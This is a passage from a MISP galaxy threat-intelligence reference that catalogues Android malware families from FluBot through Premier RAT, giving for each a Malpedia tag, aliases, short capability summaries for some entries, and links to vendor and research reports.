https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/
https://twitter.com/alberto*segura/status/1399249798063087621?s=20[https://twitter.com/ alberto*segura/status/1399249798063087621?s=20]
https://www.f5.com/labs/articles/threat-intelligence/flubots-authors-employ-creative-and-sophisticated-techniques-to-achieve-their-goals-in-version-50-and-beyond
https://www.cert.govt.nz/individuals/news-and-events/parcel-delivery-text-message-infecting-android-phones/
https://news.netcraft.com/archives/2021/08/17/resurgent-flubot-malware-targets-german-and-polish-banks.html
https://news.netcraft.com/archives/2021/08/04/flubot-malware-spreads-to-australia.html
https://www.infinitumit.com.tr/flubot-zararlisi/
https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html
https://twitter.com/alberto*segura/status/1395675479194095618[https://twitter.com/ alberto*segura/status/1395675479194095618]
https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html
https://blog.fox-it.com/2022/06/29/flubot-the-evolution-of-a-notorious-android-banking-malware/
https://mobile.twitter.com/alberto*segura/status/1400396365759500289[https://mobile.twitter.com/ alberto*segura/status/1400396365759500289]
https://securityintelligence.com/posts/story-of-fakechat-malware/
https://www.nortonlifelock.com/blogs/research-group/flubot-targets-android-phone-users
https://blog.zimperium.com/flubot-vs-zimperium/
https://blog.nviso.eu/2021/04/19/how-to-analyze-mobile-malware-a-cabassous-flubot-case-study/
https://twitter.com/alberto*segura/status/1404098461440659459[https://twitter.com/ alberto*segura/status/1404098461440659459]
https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon
https://www.prodaft.com/m/reports/FluBot_4.pdf
https://hispasec.com/resources/FedexBanker.pdf
https://raw.githubusercontent.com/prodaft/malware-ioc/master/FluBot/FluBot.pdf
https://blog.cyble.com/2021/09/09/flubot-variant-masquerading-as-the-default-android-voicemail-app/
https://medium.com/walmartglobaltech/a-look-at-an-android-bot-from-unpacking-to-dga-e331554f9fb9
https://twitter.com/malwrhunterteam/status/1359939300238983172

https://twitter.com/alberto*segura/status/1402615237296148483[https://twitter.com/alberto*segura/status/1402615237296148483]
https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones
https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/
https://therecord.media/flubot-malware-gang-arrested-in-barcelona/
https://cryptax.medium.com/android-flubot-preparing-for-a-new-campaign-2f7563fc6c06
https://securityblog.switch.ch/2021/06/19/android-flubot-enters-switzerland/
https://therecord.media/despite-arrests-in-spain-flubot-operations-explode-across-europe-and-japan/
https://twitter.com/alberto*segura/status/1384840011892285440[https://twitter.com/alberto*segura/status/1384840011892285440]
https://www.bitsight.com/blog/flubot-malware-persists-most-prevalent-germany-and-spain
https://www.ncsc.admin.ch/22w12-de
https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368

FlyTrap

Zimperium notes that this malware has hit more than 10,000 victims in 140+ countries using social media hijacking, 3rd party app stores and sideloading.

The tag is: *misp-galaxy:malpedia="FlyTrap"*

FlyTrap is also known as:

Table 1009. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flytrap
https://blog.zimperium.com/flytrap-android-malware-compromises-thousands-of-facebook-accounts/

FunkyBot

The tag is: *misp-galaxy:malpedia="FunkyBot"*

FunkyBot is also known as:

Table 1010. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.funkybot

https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681
https://securelist.com/roaming-mantis-part-v/96250/
https://www.fortinet.com/blog/threat-research/funkybot-malware-targets-japan.html

FurBall

According to Check Point, they uncovered an operation dubbed "Domestic Kitten", which uses malicious Android applications to steal sensitive personal information from its victims: screenshots, messages, call logs, surrounding voice recordings, and more. This operation managed to remain under the radar for a long time, as the associated files were not attributed to a known malware family and were only detected by a handful of security vendors.

The tag is: *misp-galaxy:malpedia="FurBall"*

FurBall is also known as:

Table 1011. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.furball
https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/
https://www.virusbulletin.com/conference/vb2019/abstracts/domestic-kitten-iranian-surveillance-program
https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/
https://documents.trendmicro.com/assets/appendix-mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.pdf
https://ti.qianxin.com/blog/articles/surprised-by-cyrus-the-great-disclosure-against-Iran-cyrus-attack/
https://www.trendmicro.com/en_us/research/19/f/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east.html

Geost

The tag is: *misp-galaxy:malpedia="Geost"*

Geost is also known as:

Table 1012. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.geost

https://www.gosecure.net/blog/2020/12/02/deep-dive-into-an-obfuscation-as-a-service-for-android-malware/
https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-geost-botnet-story-discovery-new-android-banking-trojan-opsec-error/

Ghimob

The tag is: *misp-galaxy:malpedia="Ghimob"*

Ghimob is also known as:

Table 1013. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghimob
https://securelist.com/ghimob-tetrade-threat-mobile-devices/99228/

GhostCtrl

The tag is: *misp-galaxy:malpedia="GhostCtrl"*

GhostCtrl is also known as:

Table 1014. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ghostctrl
https://blog.trendmicro.com/trendlabs-security-intelligence/android-backdoor-ghostctrl-can-silently-record-your-audio-video-and-more/

Ginp

Ginp is a mobile banking software targeting Android devices that was discovered by Kaspersky. The malware is able to steal both user credentials and credit cards numbers by implementing overlay attacks. For this, overlay targets are for example the default SMS application. What makes Ginp a remarkable family is how its operators managed to have it remain undetected over time even and it receiving version upgrades over many years. According to ThreatFabric, Ginp has the following features:

Overlaying: Dynamic (local overlays obtained from the C2) SMS harvesting: SMS listing SMS harvesting: SMS forwarding Contact list collection Application listing Overlaying: Targets list update SMS: Sending Calls: Call forwarding C2 Resilience: Auxiliary C2 list Self-protection: Hiding the App icon Self-protection: Preventing removal Self-protection: Emulation-detection.

The tag is: *misp-galaxy:malpedia="Ginp"*

Ginp is also known as:

Table 1015. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ginp
https://securityintelligence.com/posts/ginp-malware-operations-rising-expansions-turkey/
https://www.youtube.com/watch?v=WeL_xSryj8E
https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html
https://twitter.com/ESETresearch/status/1269945115738542080
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://www.kaspersky.com/blog/ginp-trojan-coronavirus-finder/34338/

GlanceLove

The tag is: *misp-galaxy:malpedia="GlanceLove"*

GlanceLove is also known as:

Table 1016. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.glancelove
https://securelist.com/breaking-the-weakest-link-of-the-strongest-chain/77562/
https://www.haaretz.com/israel-news/hamas-cyber-ops-spied-on-israeli-soldiers-using-fake-world-cup-app-1.6241773
https://www.idf.il/en/minisites/hamas/hamas-uses-fake-facebook-profiles-to-target-israeli-soldiers/
https://www.clearskysec.com/glancelove/

GnatSpy

The tag is: *misp-galaxy:malpedia="GnatSpy"*

GnatSpy is also known as:

Table 1017. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gnatspy
https://www.trendmicro.com/en_us/research/17/l/new-gnatspy-mobile-malware-family-discovered.html

GoldenEagle

The tag is: *misp-galaxy:malpedia="GoldenEagle"*

GoldenEagle is also known as:

Table 1018. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldeneagle
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

GoldenRAT

The tag is: *misp-galaxy:malpedia="GoldenRAT"*

GoldenRAT is also known as:

Table 1019. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.goldenrat
https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/

goontact

The tag is: *misp-galaxy:malpedia="goontact"*

goontact is also known as:

Table 1020. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.goontact
https://blog.lookout.com/lookout-discovers-new-spyware-goontact-used-by-sextortionists-for-blackmail
https://blog.cyble.com/2021/09/03/spyware-variant-disguised-as-korean-video-app-targets-multiple-asian-countries/

GPlayed

Cisco Talos identifies GPlayed as a malware written in .NET using the Xamarin environment for mobile applications. It is considered powerful because of its capability to adapt after its deployment. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed.

The tag is: *misp-galaxy:malpedia="GPlayed"*

GPlayed is also known as:

Table 1021. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gplayed
https://blog.talosintelligence.com/2018/10/gplayedtrojan.html
https://blog.talosintelligence.com/2018/10/gplayerbanker.html

GriftHorse

The tag is: *misp-galaxy:malpedia="GriftHorse"*

GriftHorse is also known as:

Table 1022. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.grifthorse
https://blog.zimperium.com/grifthorse-android-trojan-steals-millions-from-over-10-million-victims-globally/

Guerrilla

The tag is: *misp-galaxy:malpedia="Guerrilla"*

Guerrilla is also known as:

Table 1023. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.guerrilla
https://www.trendmicro.com/en_us/research/22/b/sms-pva-services-use-of-infected-android-phones-reveals-flaws-in-sms-verification.html

Gustuff

Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.

The tag is: *misp-galaxy:malpedia="Gustuff"*

Gustuff is also known as:

Table 1024. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.gustuff
https://blog.talosintelligence.com/2019/10/gustuffv2.html
https://www.group-ib.com/media/gustuff/
https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html

HARDRAIN (Android)

The tag is: *misp-galaxy:malpedia="HARDRAIN (Android)"*

HARDRAIN (Android) is also known as:

Table 1025. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hardrain
https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-appears-linked-to-lazarus-cybercrime-group/#sf174581990
https://unit42.paloaltonetworks.com/unit42-operation-blockbuster-goes-mobile/
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf

HawkShaw

The tag is: *misp-galaxy:malpedia="HawkShaw"*

HawkShaw is also known as:

Table 1026. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hawkshaw
https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-hawkshaw

https://research.checkpoint.com/2021/going-rogue-a-mastermind-behind-android-malware-returns-with-a-new-rat/

HenBox

The tag is: *misp-galaxy:malpedia="HenBox"*

HenBox is also known as:

Table 1027. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.henbox
https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/
https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/

Hermit

The tag is: *misp-galaxy:malpedia="Hermit"*

Hermit is also known as:

Table 1028. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hermit
https://www.lighthousereports.nl/investigation/revealing-europes-nso
https://de.lookout.com/blog/hermit-spyware-discovery
https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/

HeroRAT

The tag is: *misp-galaxy:malpedia="HeroRAT"*

HeroRAT is also known as:

Table 1029. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hero_rat
https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/

HiddenAd

The tag is: *misp-galaxy:malpedia="HiddenAd"*

HiddenAd is also known as:

Table 1030. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hiddenad
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/
https://labs.bitdefender.com/2020/03/infected-zoom-apps-for-android-target-work-from-home-users
https://twitter.com/LukasStefanko/status/1136568939239137280
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://securelist.com/mobile-malware-evolution-2019/96280/

HilalRAT

RAT, which can be used to extract sensitive information, e.g. contact lists, txt messages, location information.

The tag is: *misp-galaxy:malpedia="HilalRAT"*

HilalRAT is also known as:

Table 1031. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hilalrat
https://thehackernews.com/2022/04/microsoft-obtains-court-order-to-take.html

Hydra

Avira states that Hydra is an Android BankBot variant, a type of malware designed to steal banking credentials. The way it does this is by requesting the user enables dangerous permissions such as accessibility and every time the banking app is opened, the malware is hijacking the user by overwriting the legit banking application login page with a malicious one. The goal is the same, to trick the user to enter his login credentials so that it will go straight to the malware authors.

The tag is: *misp-galaxy:malpedia="Hydra"*

Hydra is also known as:

Table 1032. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.hydra
https://muha2xmad.github.io/malware-analysis/hydra/
https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html
https://pentest.blog/android-malware-analysis-dissecting-hydra-dropper/
https://cryptax.medium.com/android-bianlian-payload-61febabed00a
https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5
https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726
https://www.threatfabric.com/blogs/2020_year_of_the_rat.html
https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221
https://www.avira.com/en/blog/avira-labs-research-reveals-hydra-banking-trojan-2-0
https://twitter.com/muha2xmad/status/1570788983474638849
https://blog.cyble.com/2022/06/13/hydra-android-malware-distributed-via-play-store/

IPStorm (Android)

Android variant of IPStorm (InterPlanetary Storm).

The tag is: *misp-galaxy:malpedia="IPStorm (Android)"*

IPStorm (Android) is also known as:

- InterPlanetary Storm

Table 1033. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ipstorm
https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf
https://blog.barracuda.com/2020/10/01/threat-spotlight-new-interplanetary-storm-variant-iot/

IRATA

The tag is: *misp-galaxy:malpedia="IRATA"*

IRATA is also known as:

Table 1034. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.irata

https://twitter.com/muha2xmad/status/1562831996078157826
https://muha2xmad.github.io/malware-analysis/irata/
https://onecert.ir/portal/blog/irata

IRRat

The tag is: *misp-galaxy:malpedia="IRRat"*

IRRat is also known as:

Table 1035. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.irrat
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

JadeRAT

The tag is: *misp-galaxy:malpedia="JadeRAT"*

JadeRAT is also known as:

Table 1036. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.jaderat
https://blog.lookout.com/mobile-threat-jaderat

Joker

The tag is: *misp-galaxy:malpedia="Joker"*

Joker is also known as:

- Bread

Table 1037. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.joker
https://web.archive.org/web/20210714010827/https://blog.zimperium.com/joker-is-still-no-laughing-matter/
https://cryptax.medium.com/tracking-android-joker-payloads-with-medusa-static-analysis-and-patience-672348b81ac2

https://cryptax.medium.com/live-reverse-engineering-of-a-trojanized-medical-app-android-joker-632d114073c1
https://research.checkpoint.com/2020/new-joker-variant-hits-google-play-with-an-old-trick/
https://www.microsoft.com/security/blog/2022/06/30/toll-fraud-malware-how-an-android-application-can-drain-your-wallet/
https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks—using-github-to-hide-its-payload.html
https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html
https://labs.k7computing.com/index.php/joker-unleashes-itself-again-on-google-play-store/
https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus
https://labs.k7computing.com/?p=22199
https://muha2xmad.github.io/malware-analysis/hydra/
https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451

KevDroid

The tag is: *misp-galaxy:malpedia="KevDroid"*

KevDroid is also known as:

Table 1038. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.kevdroid
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html

Koler

The tag is: *misp-galaxy:malpedia="Koler"*

Koler is also known as:

Table 1039. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.koler
https://twitter.com/LukasStefanko/status/928262059875213312

KSREMOTE

The tag is: *misp-galaxy:malpedia="KSREMOTE"*

KSREMOTE is also known as:

Table 1040. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ksremote
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/

LittleLooter

The tag is: *misp-galaxy:malpedia="LittleLooter"*

LittleLooter is also known as:

Table 1041. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.little_looter
https://twitter.com/malwrhunterteam/status/1337684036374945792
https://www.youtube.com/watch?v=nilzxS9rxEM
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-The-Kitten-That-Charmed-Me-The-9-Lives-Of-A-Nation-State-Attacker.pdf
https://securityintelligence.com/posts/itg18-operational-security-errors-plague-iranian-threat-group/

Loki

The tag is: *misp-galaxy:malpedia="Loki"*

Loki is also known as:

Table 1042. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.loki
http://blog.checkpoint.com/2017/03/10/preinstalled-malware-targeting-mobile-users/

LokiBot

Android banker Trojan with the standard banking capabilities such as overlays, SMS stealing. It also features ransomware functionality. Note, the network traffic is obfuscated the same way as in

Android Bankbot.

The tag is: *misp-galaxy:malpedia="LokiBot"*

LokiBot is also known as:

Table 1043. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot
https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html
https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view
https://muha2xmad.github.io/mal-document/lokibotpdf/
https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728
https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
https://isc.sans.edu/diary/27282
https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf

LuckyCat

The tag is: *misp-galaxy:malpedia="LuckyCat"*

LuckyCat is also known as:

Table 1044. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.luckycat
https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html

Mandrake

The tag is: *misp-galaxy:malpedia="Mandrake"*

Mandrake is also known as:

Table 1045. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mandrake
https://www.bitdefender.com/files/News/CaseStudies/study/329/Bitdefender-PR-Whitepaper-Mandrake-creat4464-en-EN-interactive.pdf

Marcher

The tag is: *misp-galaxy:malpedia="Marcher"*

Marcher is also known as:

- ExoBot

Table 1046. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher
https://securelist.com/mobile-malware-evolution-2019/96280/
https://www.clientsidedetection.com/exobot_v2_update _staying_ahead_of_the_competition.html[https://www.clientsidedetection.com/exobot_v2_update_staying_ahead_of_the_competition.html]
https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware

MasterFred

The tag is: *misp-galaxy:malpedia="MasterFred"*

MasterFred is also known as:

- Brox

Table 1047. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.masterfred
https://twitter.com/AvastThreatLabs/status/1458162276708483073

MazarBot

The tag is: *misp-galaxy:malpedia="MazarBot"*

MazarBot is also known as:

Table 1048. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot
https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/
https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html

Medusa (Android)

According to ThreatFabric, this is an Android banking trojan under active development as of July 2020. It is using TCP for C&C communication and targets Turkish banks.

The tag is: *misp-galaxy:malpedia="Medusa (Android)"*

Medusa (Android) is also known as:

- Gorgona

Table 1049. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa
https://twitter.com/ThreatFabric/status/1285144962695340032
https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html
https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html

Meterpreter (Android)

The tag is: *misp-galaxy:malpedia="Meterpreter (Android)"*

Meterpreter (Android) is also known as:

Table 1050. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.meterpreter
https://medium.com/@cryptax/into-android-meterpreter-and-how-the-malware-launches-it-part-2-ef5aad2ebf12
https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe

Monokle

Monokle is a sophisticated mobile surveillanceware that possesses remote access trojan (RAT) functionality, advanced data exfiltration techniques as well as the ability to install an attacker-specified certificate to the trusted certificates on an infected device that would allow for man-in-the-middle (MITM) attacks. According to Lookout researchers, It is believed to be developed by Special Technology Center (STC), which is a Russian defense contractor sanctioned by the U.S. Government in connection to alleged interference in the 2016 US presidential elections.

The tag is: *misp-galaxy:malpedia="Monokle"*

Monokle is also known as:

Table 1051. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.monokle
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf

MoqHao

The tag is: *misp-galaxy:malpedia="MoqHao"*

MoqHao is also known as:

- Shaoye
- XLoader

Table 1052. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao
https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/
https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html
https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf
https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/
https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1
https://securelist.com/roaming-mantis-part-v/96250/
https://www.xanhacks.xyz/p/moqhao-malware-analysis
https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html
https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/
https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf
https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/
https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/
https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/

Mudwater

The tag is: *misp-galaxy:malpedia="Mudwater"*

Mudwater is also known as:

Table 1053. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.mudwater
https://documents.trendmicro.com/assets/white_papers/wp_new_muddywater_findings_uncovered.pdf

MysteryBot

MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.

The tag is: *misp-galaxy:malpedia="MysteryBot"*

MysteryBot is also known as:

Table 1054. Table References

Links
https://www.threatfabric.com/blogs/mysterybot*a_new_android_banking_trojan_ready_for_android_7_and_8.html[https://www.threatfabric.com/blogs/mysterybot*a_new_android_banking_trojan_ready_for_android_7_and_8.html]

OmniRAT

The tag is: *misp-galaxy:malpedia="OmniRAT"*

OmniRAT is also known as:

Table 1055. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.omnirat
https://blog.avast.com/2015/11/05/droidjack-isnt-the-only-spying-software-out-there-avast-discovers-that-omnirat-is-currently-being-used-and-spread-by-criminals-to-gain-full-remote-co
https://securityintelligence.com/news/omnirat-takes-over-android-devices-through-social-engineering-tricks/
https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Android.OmniRAT

Oscorp

The tag is: *misp-galaxy:malpedia="Oscorp"*

Oscorp is also known as:

- UBEL

Table 1056. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.oscorp
https://cert-agid.gov.it/news/individuato-sito-che-veicola-in-italia-un-apk-malevolo/
https://www.cleafy.com/cleafy-labs/ubel-oscorp-evolution

PackChat

The tag is: *misp-galaxy:malpedia="PackChat"*

PackChat is also known as:

Table 1057. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.packchat
https://news.sophos.com/en-us/2021/01/12/new-android-spyware-targets-users-in-pakistan/

PhantomLance

The tag is: *misp-galaxy:malpedia="PhantomLance"*

PhantomLance is also known as:

- PWNDROID1

Table 1058. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.phantomlance
https://securelist.com/apt-phantomlance/96772/
https://securelist.com/it-threat-evolution-q2-2020/98230
https://drive.google.com/file/d/1m0Qg8e1Len1My6ssDy6F0oQ7JdkJUkuu/view
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/mobile-malware-report.pdf

https://threatvector.cylance.com/en_us/home/mobile-malware-and-apt-espionage-prolific-pervasive-and-cross-platform.html

PhoneSpy

According to Zimperium, PhoneSpy is a spyware aimed at South Korean residents with Android devices.

The tag is: *misp-galaxy:malpedia="PhoneSpy"*

PhoneSpy is also known as:

Table 1059. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.phonespy
https://blog.zimperium.com/phonespy-the-app-based-cyberattack-snooping-south-korean-citizens/

PixStealer

The tag is: *misp-galaxy:malpedia="PixStealer"*

PixStealer is also known as:

- BrazKing

Table 1060. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixstealer
https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/
https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/

PjobRAT

The tag is: *misp-galaxy:malpedia="PjobRAT"*

PjobRAT is also known as:

Table 1061. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pjobrat
https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ

https://cybleinc.com/2021/06/22/android-application-disguised-as-dating-app-targets-indian-military-personnel/
https://labs.k7computing.com/?p=22537

Podec

The tag is: *misp-galaxy:malpedia="Podec"*

Podec is also known as:

Table 1062. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.podec
https://securelist.com/jack-of-all-trades/83470/

X-Agent (Android)

The tag is: *misp-galaxy:malpedia="X-Agent (Android)"*

X-Agent (Android) is also known as:

- Popr-d30

Table 1063. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30
http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/
http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/

Fake Pornhub

The tag is: *misp-galaxy:malpedia="Fake Pornhub"*

Fake Pornhub is also known as:

Table 1064. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.pornhub

Premier RAT

The tag is: *misp-galaxy:malpedia="Premier RAT"*

Premier RAT is also known as:

Table 1065. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.premier_rat
https://twitter.com/LukasStefanko/status/1084774825619537925

Rafel RAT

